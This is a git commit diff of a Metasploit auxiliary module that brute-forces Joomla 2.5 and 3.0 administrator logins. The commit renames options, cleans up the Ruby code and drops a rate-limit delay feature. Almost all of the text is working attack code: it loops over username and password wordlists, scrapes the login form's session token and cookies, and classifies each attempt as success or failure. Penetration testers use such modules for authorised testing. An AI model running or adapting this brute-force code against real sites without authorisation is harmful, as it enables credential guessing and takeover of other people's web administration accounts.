implementation of the recommended changes
parent
ceff18de9d
commit
f2eabdba94
|
@ -17,9 +17,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'BruteForce Joomla 2.5 or 3.0',
|
'Name' => 'Joomla Bruteforce Login Utility',
|
||||||
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
|
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',
|
||||||
'Author' => [ 'luisco100[at]gmail[dot]com' ],
|
'Author' => [ 'luisco100[at]gmail.com' ],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '1999-0502'] # Weak password Joomla
|
[ 'CVE', '1999-0502'] # Weak password Joomla
|
||||||
|
@ -35,15 +35,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
|
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
|
||||||
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
||||||
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
|
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt") ]),
|
||||||
OptString.new('AUTH_URI', [ false, "The URI to authenticate against (default:auto)", "/administrator/index.php" ]),
|
OptString.new('AUTH_URI', [ true, "The URI to authenticate against (default:auto)", "/administrator/index.php" ]),
|
||||||
OptString.new('FORM_URI', [ false, "The FORM URI to authenticate against (default:auto)" , "/administrator"]),
|
OptString.new('FORM_URI', [ false, "The FORM URI to authenticate against (default:auto)" , "/administrator"]),
|
||||||
OptString.new('USER_VARIABLE', [ false, "The name of the variable for the user field", "username"]),
|
OptString.new('USER_VARIABLE', [ false, "The name of the variable for the user field", "username"]),
|
||||||
OptString.new('PASS_VARIABLE', [ false, "The name of the variable for the password field" , "passwd"]),
|
OptString.new('PASS_VARIABLE', [ false, "The name of the variable for the password field" , "passwd"]),
|
||||||
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"]),
|
OptString.new('WORD_ERROR', [ false, "The word of message for detect that login fail","mod-login-username"]),
|
||||||
OptString.new('WORD_ERROR_2', [ false, "Second option for the word of message for detect that login fail","login.html"]),
|
OptString.new('REQUEST_TYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ]),
|
||||||
OptString.new('WORD_ERROR_DELAY', [ false, "The word of message for active the delay time" , "por favor intente de nuevo en un minuto"]),
|
|
||||||
OptInt.new('TIME_DELAY', [false, 'The delay time ', 0]),
|
|
||||||
OptString.new('REQUESTTYPE', [ false, "Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)", "POST" ]),
|
|
||||||
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ]),
|
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0' ]),
|
||||||
], self.class)
|
], self.class)
|
||||||
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
|
register_autofilter_ports([ 80, 443, 8080, 8081, 8000, 8008, 8443, 8444, 8880, 8888 ])
|
||||||
|
@ -51,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def find_auth_uri
|
def find_auth_uri
|
||||||
|
|
||||||
if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0
|
if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0
|
||||||
paths = [datastore['AUTH_URI']]
|
paths = [datastore['AUTH_URI']]
|
||||||
else
|
else
|
||||||
paths = %W{
|
paths = %W{
|
||||||
|
@ -66,15 +63,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
}, 10)
|
}, 10)
|
||||||
|
|
||||||
next if not res
|
next unless res
|
||||||
if res.code == 301 or res.code == 302 and res.headers['Location'] and res.headers['Location'] !~ /^http/
|
if res.code == 301 || res.code == 302 && res.headers['Location'] && res.headers['Location'] !~ /^http/
|
||||||
path = res.headers['Location']
|
path = res.headers['Location']
|
||||||
vprint_status("Following redirect: #{path}")
|
vprint_status("Following redirect: #{path}")
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'uri' => path,
|
'uri' => path,
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
}, 10)
|
})
|
||||||
next if not res
|
next unless res
|
||||||
end
|
end
|
||||||
|
|
||||||
return path
|
return path
|
||||||
|
@ -85,20 +82,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
def target_url
|
def target_url
|
||||||
proto = "http"
|
proto = "http"
|
||||||
if rport == 443 or ssl
|
if rport == 443 || ssl
|
||||||
proto = "https"
|
proto = "https"
|
||||||
end
|
end
|
||||||
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
|
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
|
||||||
end
|
end
|
||||||
|
|
||||||
def run_host(ip)
|
def run_host(ip)
|
||||||
if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "")
|
|
||||||
print_error("You need need to set AUTH_URI when using PUT Method !")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
@uri = find_auth_uri
|
@uri = find_auth_uri
|
||||||
|
|
||||||
time_delay = datastore['REQUESTTYPE']
|
|
||||||
if ! @uri
|
if ! @uri
|
||||||
print_error("#{target_url} No URI found that asks for HTTP authentication")
|
print_error("#{target_url} No URI found that asks for HTTP authentication")
|
||||||
return
|
return
|
||||||
|
@ -109,8 +102,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_status("Attempting to login to #{target_url}")
|
print_status("Attempting to login to #{target_url}")
|
||||||
|
|
||||||
each_user_pass { |user, pass|
|
each_user_pass { |user, pass|
|
||||||
datastore['REQUESTTYPE'] = time_delay
|
do_login(user, pass)
|
||||||
do_login(user, pass)
|
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -126,37 +118,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return :next_user
|
return :next_user
|
||||||
else
|
else
|
||||||
vprint_error("#{target_url} - Failed to login as '#{user}'")
|
vprint_error("#{target_url} - Failed to login as '#{user}'")
|
||||||
if result == :delay
|
|
||||||
print_status("Establishing one minute delay")
|
|
||||||
userpass_sleep_interval_add
|
|
||||||
end
|
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_http_login(user,pass)
|
def do_http_login(user,pass)
|
||||||
|
|
||||||
@uri_mod = @uri
|
@uri_mod = @uri
|
||||||
|
|
||||||
if datastore['REQUESTTYPE'] == "GET"
|
if datastore['REQUEST_TYPE'] == "GET"
|
||||||
|
|
||||||
|
@uri_mod = "#{@uri}?username=#{user}&psd=#{pass}"
|
||||||
|
|
||||||
@uri_mod = "#{@uri}?username=#{user}&psd=#{pass}"
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
response = send_request_cgi({
|
response = send_request_cgi({
|
||||||
'uri' => @uri_mod,
|
'uri' => @uri_mod,
|
||||||
'method' => datastore['REQUESTTYPE'],
|
'method' => datastore['REQUEST_TYPE'],
|
||||||
'username' => user,
|
'username' => user,
|
||||||
'password' => pass
|
'password' => pass
|
||||||
})
|
})
|
||||||
return response
|
return response
|
||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
vprint_error("#{target_url} - Failed to connect to the web server")
|
vprint_error("#{target_url} - Failed to connect to the web server")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
|
||||||
user_var = datastore['USER_VARIABLE']
|
user_var = datastore['USER_VARIABLE']
|
||||||
pass_var = datastore['PASS_VARIABLE']
|
pass_var = datastore['PASS_VARIABLE']
|
||||||
|
@ -167,41 +155,42 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
uid, cval, hidden_value = get_login_cookie
|
uid, cval, hidden_value = get_login_cookie
|
||||||
|
|
||||||
if uid
|
if uid
|
||||||
indice = 0
|
index_cookie = 0
|
||||||
value_cookie = ""
|
value_cookie = ""
|
||||||
#print_status("Longitud : #{uid.length}")
|
|
||||||
uid.each do |val_uid|
|
uid.each do |val_uid|
|
||||||
value_cookie = value_cookie + "#{val_uid.strip}=#{cval[indice].strip};"
|
value_cookie = value_cookie + "#{val_uid.strip}=#{cval[index_cookie].strip};"
|
||||||
indice = indice +1
|
index_cookie = index_cookie +1
|
||||||
end
|
end
|
||||||
|
|
||||||
value_cookie = value_cookie
|
value_cookie = value_cookie
|
||||||
print_status("Value of cookie ( #{value_cookie} ), Hidden ( #{hidden_value}=1 )")
|
vprint_status("Target #{target_url},Value of cookie ( #{value_cookie} ), Hidden ( #{hidden_value}=1 )")
|
||||||
|
|
||||||
data = "#{user_var}=#{user}&"
|
data = "#{user_var}=#{user}&" \
|
||||||
data << "#{pass_var}=#{pass}&"
|
"#{pass_var}=#{pass}&" \
|
||||||
data << "lang=&"
|
"lang=&" \
|
||||||
data << "option=com_login&"
|
"option=com_login&" \
|
||||||
data << "task=login&"
|
"task=login&" \
|
||||||
data << "return=aW5kZXgucGhw&"
|
"return=aW5kZXgucGhw&" \
|
||||||
data << "#{hidden_value}=1"
|
"#{hidden_value}=1"
|
||||||
|
|
||||||
response = send_request_raw({
|
response = send_request_cgi({
|
||||||
'uri' => @uri_mod,
|
'uri' => @uri_mod,
|
||||||
'method' => datastore['REQUESTTYPE'],
|
'method' => datastore['REQUEST_TYPE'],
|
||||||
'cookie' => "#{value_cookie}",
|
'cookie' => "#{value_cookie}",
|
||||||
'data' => data,
|
'data' => data,
|
||||||
'headers' =>
|
'headers' =>
|
||||||
{
|
{
|
||||||
'Content-Type' => ctype,
|
'Content-Type' => ctype,
|
||||||
'Referer' => referer_var,
|
'Referer' => referer_var,
|
||||||
'User-Agent' => datastore['UserAgent'],
|
'User-Agent' => datastore['UserAgent'],
|
||||||
},
|
},
|
||||||
}, 30)
|
})
|
||||||
|
|
||||||
vprint_status("First Response Code : #{response.code}")
|
vprint_status("#{target_url} -> First Response Code : #{response.code}")
|
||||||
|
|
||||||
|
if (response.code == 301 || response.code == 302 || response.code == 303) && response.headers['Location']
|
||||||
|
|
||||||
if (response.code == 301 or response.code == 302 or response.code == 303) and response.headers['Location']
|
|
||||||
|
|
||||||
path = response.headers['Location']
|
path = response.headers['Location']
|
||||||
print_status("Following redirect Response: #{path}")
|
print_status("Following redirect Response: #{path}")
|
||||||
|
|
||||||
|
@ -209,18 +198,19 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'uri' => path,
|
'uri' => path,
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'cookie' => "#{value_cookie}",
|
'cookie' => "#{value_cookie}",
|
||||||
}, 30)
|
}, 30)
|
||||||
end
|
end
|
||||||
|
|
||||||
return response
|
return response
|
||||||
else
|
else
|
||||||
print_error("#{target_url} - Failed to get Cookies")
|
print_error("#{target_url} - Failed to get Cookies")
|
||||||
end
|
return nil
|
||||||
|
end
|
||||||
rescue ::Rex::ConnectionError
|
rescue ::Rex::ConnectionError
|
||||||
vprint_error("#{target_url} - Failed to connect to the web server")
|
vprint_error("#{target_url} - Failed to connect to the web server")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def determine_result(response)
|
def determine_result(response)
|
||||||
|
@ -229,36 +219,28 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
return :abort unless response.code
|
return :abort unless response.code
|
||||||
|
|
||||||
if [200, 301, 302].include?(response.code)
|
if [200, 301, 302].include?(response.code)
|
||||||
|
|
||||||
#print_status("Respuesta: #{response.headers}")
|
|
||||||
#print_status("Respuesta Code: #{response.body}")
|
|
||||||
|
|
||||||
if response.to_s.include? datastore['WORD_ERROR_DELAY']
|
#print_status("Response: #{response.headers}")
|
||||||
return :delay
|
#print_status("Response Code: #{response.body}")
|
||||||
else
|
|
||||||
if response.to_s.include? datastore['WORD_ERROR'] or response.to_s.include? datastore['WORD_ERROR_2']
|
if response.to_s.include? datastore['WORD_ERROR']
|
||||||
return :fail
|
return :fail
|
||||||
else
|
else
|
||||||
return :success
|
return :success
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
end
|
||||||
return :fail
|
return :fail
|
||||||
end
|
end
|
||||||
|
|
||||||
def userpass_sleep_interval_add
|
|
||||||
sleep_time = datastore['TIME_DELAY']
|
|
||||||
::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0
|
|
||||||
end
|
|
||||||
|
|
||||||
def get_login_cookie
|
def get_login_cookie
|
||||||
|
|
||||||
uri = normalize_uri(datastore['FORM_URI'])
|
uri = normalize_uri(datastore['FORM_URI'])
|
||||||
uid = ''
|
uid = Array.new
|
||||||
cval = ''
|
cval = Array.new
|
||||||
valor_input_id = ''
|
valor_input_id = ''
|
||||||
|
|
||||||
res = send_request_raw({'uri' => uri,'method' => 'GET',})
|
res = send_request_cgi({'uri' => uri,'method' => 'GET'})
|
||||||
|
|
||||||
if(res.code == 301)
|
if(res.code == 301)
|
||||||
path = res.headers['Location']
|
path = res.headers['Location']
|
||||||
|
@ -269,42 +251,39 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
}, 10)
|
}, 10)
|
||||||
end
|
end
|
||||||
|
|
||||||
#print_status("respuesta Get login cookie: #{res.to_s}")
|
#print_status("Response Get login cookie: #{res.to_s}")
|
||||||
|
|
||||||
if res and res.code == 200 and res.headers['Set-Cookie']
|
|
||||||
#Idetificar formulario login y obtener la variable de validacion de session de Joomla
|
|
||||||
if res.body and res.body =~ /<form action=([^\>]+)\>(.*)<\/form>/mi
|
|
||||||
|
|
||||||
#form = res.body.split(/<form action=([^\>]+) id="login-form" class="form-inline"\>(.*)<\/form>/mi)
|
|
||||||
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
|
|
||||||
#print_status("#{form[1]}")
|
|
||||||
|
|
||||||
if form.length == 1 #No es Joomla 2.5
|
if res && res.code == 200 && res.headers['Set-Cookie']
|
||||||
|
#Identify login form and get the session variable validation of Joomla
|
||||||
|
if res.body && res.body =~ /<form action=([^\>]+)\>(.*)<\/form>/mi
|
||||||
|
|
||||||
|
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)
|
||||||
|
|
||||||
|
if form.length == 1 #is not Joomla 2.5
|
||||||
print_error("Testing Form Joomla 3.0")
|
print_error("Testing Form Joomla 3.0")
|
||||||
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
|
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)
|
||||||
end
|
end
|
||||||
|
|
||||||
if not form
|
unless form
|
||||||
print_error("Joomla Form Not Found")
|
print_error("Joomla Form Not Found")
|
||||||
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
|
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)
|
||||||
end
|
end
|
||||||
|
|
||||||
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
|
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)
|
||||||
#print_status("Formulario Encontrado #{form[2]}")
|
|
||||||
print_status("--------> Joomla Form Found <--------")
|
print_status("--------> Joomla Form Found <--------")
|
||||||
#print_status("Campos Ocultos #{input_hidden[7]}")
|
|
||||||
input_id = input_hidden[7].split("\"")
|
input_id = input_hidden[7].split("\"")
|
||||||
#print_status("valor #{input_id[1]}")
|
|
||||||
valor_input_id = input_id[1]
|
valor_input_id = input_id[1]
|
||||||
end
|
end
|
||||||
|
|
||||||
#Get the name of the cookie variable Joomla
|
#Get the name of the cookie variable Joomla
|
||||||
uid = Array.new
|
|
||||||
cval = Array.new
|
|
||||||
#print_status("cookie = #{res.headers['Set-Cookie']}")
|
#print_status("cookie = #{res.headers['Set-Cookie']}")
|
||||||
res.headers['Set-Cookie'].split(';').each {|c|
|
res.headers['Set-Cookie'].split(';').each {|c|
|
||||||
if c.split('=')[0].length > 10
|
if c.split('=')[0].length > 10
|
||||||
uid.push(c.split('=')[0])
|
uid.push(c.split('=')[0])
|
||||||
cval.push(c.split('=')[1])
|
cval.push(c.split('=')[1])
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue